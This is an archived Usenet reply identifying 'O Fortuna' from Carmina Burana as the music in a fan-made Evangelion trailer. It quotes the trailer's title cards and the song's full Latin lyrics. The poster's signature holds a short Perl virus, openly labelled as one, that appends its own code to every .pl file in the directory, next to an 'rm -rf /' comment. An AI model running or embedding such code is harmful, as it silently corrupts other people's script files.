Re: What is this song
Scripsit illa aut ille [NPH] <sykk@infowest.com>:
> "Stuart Nealon" <odinofvalhalla@hotmail.com> wrote in
> news:KrOM8.3019$b5.25673@news.indigo.ie:
>
> Sounds like Carl Orff. Not sure because I haven't listened to much of his
> stuff.
I had to sing the Carmina Burana in school's choir and still have the
male voices score.
> It might be "O Fortuna" but I've only heard that song once and it
> was a long time ago. Try downloading it and see if I'm right. I'll do that
> too.
It _is_ "O Fortuna". But the text is ununderstandable, so the lyrics are
at the bottom.
If we all write about the same trailer, here are the title texts for
comparison:
<ErMaC Studios trailer>
MANGA Entertainment presents
FROM MASTER ANIMATOR HIDEYAKI ANNO
AND THE TEAM BEHIND THE AWARD WINNING FILM WINGS OF HONNEAMISE
MAN DEFIES GOD
GOD PUNISHES MAN
MAN FIGHTS BACK
GOD DESTROYS MAN
THIS FALL
PREPARE YOURSELF
FOR THE THIRD IMPACT
Neon Genesis EVANGELION
NEON GENESIS EVANGELION ...
THE THIRD IMPACT HITS 10-30-2001
> OT-Question: Did you buy the bootleg, or did you get the R2 distribution?
Why OT? You can only be right if it is the bootleg distribution because
the "O Fortuna" trailer is fan-made. Or am I wrong?
But: it's a good one. I am not sure if Justin Emerson knows Latin, in
some lines I think he does not and had a good translation (the Latin
word order seems different to the actions).
But especially at "Semper in angaria" the pictures fit perfectly.
It seems to be a trailer for all of Evangelion (it contains scenes from
the series _and_ EoE).
> > there is a trailer on the death and rebirth DVD i just bought and it
> > has a piece of classical music that i do not know. (It is one of the
> > traliers that does not have beethovens ode to joy piece on it.) can
> > you help me
If you want, I can scan my score and mail it to you as an image file.
I do not have the female voices score, but in O Fortuna both sing the
same.
*** Intro ***
<ff>
O Fortuna,
velut luna
statu variabilis!
*** Verse 1 ***
<pp>
Semper crescis
aut decrescis
vita detestabilis,
nunc obdurat
et tunc curat
ludo mentis aciem,
egestatem,
potestatem
dissolvit ut glaciem.
*** Verse 2 ***
Sors immanis
et inanis,
rota tu volubilis,
status malus,
vana salus
semper dissolubilis.
Obumbrata
et velata
michi quoque niteris;
nunc per ludum
dorsum nudum
fero tui sceleris.
*** Verse 3 ***
<f>
Sors salutis
et virtutis
michi nunc contraria
est affectus
et defectus
semper in angaria.
<ff>
Hac in hora
sine mora
corde pulsum tangite,
quod per sortem
sternit fortem,
mecum omnes plangite!
(sung as me-cum o-o-o-o-om-nes pla-an-gi-te)
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Fnews-brouse 1.9(20180406) -- by Mizuno, MWE <mwe@ccsf.jp>
GnuPG Key ID = ECC8A735
GnuPG Key fingerprint = 9BE6 B9E9 55A5 A499 CD51 946E 9BDC 7870 ECC8 A735